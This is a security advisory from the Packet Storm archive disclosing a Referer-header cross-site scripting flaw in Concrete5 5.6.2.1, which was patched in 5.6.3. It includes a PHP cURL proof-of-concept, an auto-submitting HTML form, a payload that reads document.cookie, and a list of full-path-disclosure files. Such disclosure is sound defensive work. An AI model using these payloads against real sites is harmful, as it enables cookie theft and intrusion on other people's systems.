what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Concrete 5.6.2.1 REFERER Cross Site Scripting

Concrete 5.6.2.1 REFERER Cross Site Scripting
Posted Jul 16, 2014
Authored by Osanda Malith

Concrete version 5.6.2.1 suffers from a REFERER header-based cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 5132ad0d776021270916cb7e3a628f5ae97560841c95e08123603a834cf8f018

Concrete 5.6.2.1 REFERER Cross Site Scripting

Change Mirror Download
Title: Concrete 5.6.2.1 Referer Based XSS 
Vendor: http://www.concrete5.org/
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Website: http://osandamalith.wordpress.com

I. BACKGROUND
-------------------------
Concrete5 is a light weight power CMS in which you can create web sites on the go.


II. Referer Based XSS
-------------------------

The download page takes the input from the referer header for returning the value for the
"Back" button and hence it is not properly sanitized in getting input.

\concrete\single_pages\download_file.php

line 9,

$returnURL = ($_POST['returnURL']) ? $_POST['returnURL'] : $_SERVER['HTTP_REFERER'];

- Proof of concept
-------------------------

- This is the automated POC in PHP.

<?php

echo geturl('http://localhost/conc/concrete5.6.2.1/index.php/download_file', '"><script>prompt("XSS")</script>');

function geturl($url, $referer) {

$headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml';
$headers[] = 'Connection: Keep-Alive';
$headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$useragent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $useragent);
curl_setopt($process, CURLOPT_REFERER, $referer);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);

$return = curl_exec($process);
curl_close($process);

return $return;
}

?>

- We can also inject into referer header like this. But works only with IExplorer since other web browsers encode the URL.

<html>
<body>
<form id="exploit" name="exploit" method="GET"
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
</form>
<script>
document.getElementById("exploit").submit();
</script>
</body>
</html>

- Save it as "xss.htm" and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie);>//

III. Full Path Disclosures
----------------------------

concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php

IV. Disclosure Time Line
-------------------------
2014-03-16: Responsibly disclosed to the vendor (Vendor's website too was affected)
- Patched in 5.6.3 and the latest versions
- https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close